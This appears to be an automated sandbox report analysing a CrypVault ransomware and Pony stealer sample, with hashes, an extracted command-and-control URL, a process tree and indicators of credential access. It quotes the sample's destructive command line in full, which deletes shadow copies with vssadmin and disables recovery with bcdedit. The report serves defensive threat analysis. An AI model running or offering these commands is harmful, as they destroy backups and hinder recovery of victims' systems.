Analysis
-
max time kernel
42s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
24-06-2022 04:43
Static task
static1
Behavioral task
behavioral1
Sample
D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
Resource
win7-20220414-en
General
-
Target
D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
-
Size
148KB
-
MD5
d1f6d486c4afb6aca38ee45ed8ae4e3c
-
SHA1
3343a6203db587c257252d5b493ea16d5ac93e13
-
SHA256
d7430680c994bc488209aa05c2e72de9ffe5d858111404a2ffb7715bae4f0758
-
SHA512
634e77f6dc9ff159742cabb90d9c3ce62c5f392b96f2cb01b93d86989369e374e9a473327ece255fc784348e9c3ac710a9e18192b686fc3b264793470d36208d
Malware Config
Extracted
pony
http://dinom.spb.ru/api/index.php
Signatures
-
CrypVault
Ransomware family which makes encrypted files look like they have been quarantined by AV.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1796 2032 cmd.exe 33 -
suricata: ET MALWARE Fareit/Pony Downloader Checkin 2
suricata: ET MALWARE Fareit/Pony Downloader Checkin 2
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1608 bcdedit.exe 1752 bcdedit.exe -
resource yara_rule behavioral1/memory/1496-57-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-59-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-60-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-62-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-63-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-67-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-69-0x0000000000400000-0x000000000041A000-memory.dmp upx behavioral1/memory/1496-68-0x0000000000400000-0x0000000000E28000-memory.dmp upx behavioral1/memory/1496-79-0x0000000000400000-0x000000000041A000-memory.dmp upx -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 880 set thread context of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1596 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeImpersonatePrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeTcbPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeChangeNotifyPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeCreateTokenPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeBackupPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeRestorePrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeIncreaseQuotaPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeAssignPrimaryTokenPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeIncreaseQuotaPrivilege 692 WMIC.exe Token: SeSecurityPrivilege 692 WMIC.exe Token: SeTakeOwnershipPrivilege 692 WMIC.exe Token: SeLoadDriverPrivilege 692 WMIC.exe Token: SeSystemProfilePrivilege 692 WMIC.exe Token: SeSystemtimePrivilege 692 WMIC.exe Token: SeProfSingleProcessPrivilege 692 WMIC.exe Token: SeIncBasePriorityPrivilege 692 WMIC.exe Token: SeCreatePagefilePrivilege 692 WMIC.exe Token: SeBackupPrivilege 692 WMIC.exe Token: SeRestorePrivilege 692 WMIC.exe Token: SeShutdownPrivilege 692 WMIC.exe Token: SeDebugPrivilege 692 WMIC.exe Token: SeSystemEnvironmentPrivilege 692 WMIC.exe Token: SeRemoteShutdownPrivilege 692 WMIC.exe Token: SeUndockPrivilege 692 WMIC.exe Token: SeManageVolumePrivilege 692 WMIC.exe Token: 33 692 WMIC.exe Token: 34 692 WMIC.exe Token: 35 692 WMIC.exe Token: SeIncreaseQuotaPrivilege 692 WMIC.exe Token: SeSecurityPrivilege 692 WMIC.exe Token: SeTakeOwnershipPrivilege 692 WMIC.exe Token: SeLoadDriverPrivilege 692 WMIC.exe Token: SeSystemProfilePrivilege 692 WMIC.exe Token: SeSystemtimePrivilege 692 WMIC.exe Token: SeProfSingleProcessPrivilege 692 WMIC.exe Token: SeIncBasePriorityPrivilege 692 WMIC.exe Token: SeCreatePagefilePrivilege 692 WMIC.exe Token: SeBackupPrivilege 692 WMIC.exe Token: SeRestorePrivilege 692 WMIC.exe Token: SeShutdownPrivilege 692 WMIC.exe Token: SeDebugPrivilege 692 WMIC.exe Token: SeSystemEnvironmentPrivilege 692 WMIC.exe Token: SeRemoteShutdownPrivilege 692 WMIC.exe Token: SeUndockPrivilege 692 WMIC.exe Token: SeManageVolumePrivilege 692 WMIC.exe Token: 33 692 WMIC.exe Token: 34 692 WMIC.exe Token: 35 692 WMIC.exe Token: SeBackupPrivilege 1480 vssvc.exe Token: SeRestorePrivilege 1480 vssvc.exe Token: SeAuditPrivilege 1480 vssvc.exe Token: SeImpersonatePrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeTcbPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeChangeNotifyPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeCreateTokenPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeBackupPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeRestorePrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeIncreaseQuotaPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeAssignPrimaryTokenPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeImpersonatePrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeTcbPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeChangeNotifyPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeCreateTokenPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe Token: SeBackupPrivilege 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 880 wrote to memory of 1496 880 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 27 PID 1496 wrote to memory of 1272 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 28 PID 1496 wrote to memory of 1272 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 28 PID 1496 wrote to memory of 1272 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 28 PID 1496 wrote to memory of 1272 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 28 PID 1496 wrote to memory of 692 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 29 PID 1496 wrote to memory of 692 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 29 PID 1496 wrote to memory of 692 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 29 PID 1496 wrote to memory of 692 1496 D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe 29 PID 1796 wrote to memory of 1596 1796 cmd.exe 36 PID 1796 wrote to memory of 1596 1796 cmd.exe 36 PID 1796 wrote to memory of 1596 1796 cmd.exe 36 PID 1796 wrote to memory of 1608 1796 cmd.exe 39 PID 1796 wrote to memory of 1608 1796 cmd.exe 39 PID 1796 wrote to memory of 1608 1796 cmd.exe 39 PID 1796 wrote to memory of 1752 1796 cmd.exe 40 PID 1796 wrote to memory of 1752 1796 cmd.exe 40 PID 1796 wrote to memory of 1752 1796 cmd.exe 40 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe"C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exeC:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe2⤵
- Drops startup file
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1496 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\VAULT.hta"3⤵
- Modifies Internet Explorer settings
PID:1272
-
-
C:\Windows\SysWOW64\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:692
-
-
-
C:\Windows\system32\cmd.execmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1596
-
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:1608
-
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:1752
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1480
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
MD5b71751d104ed8f256ae64a7d02821be0
SHA1bc3e6ac19bf1431a5872597684b2982b8ba07d87
SHA2566a37244fbabb6238f178c7b769b3d0f15c93d70fece941b416c8e71140538004
SHA512b3bee8dd51f874f5677dbb37989077776d0169d97760395d38ab52ac422ce3a9db78df3970a6c1ac6e18538d8e014fc72f3481964976a5f26b2c7e63efe0ffdf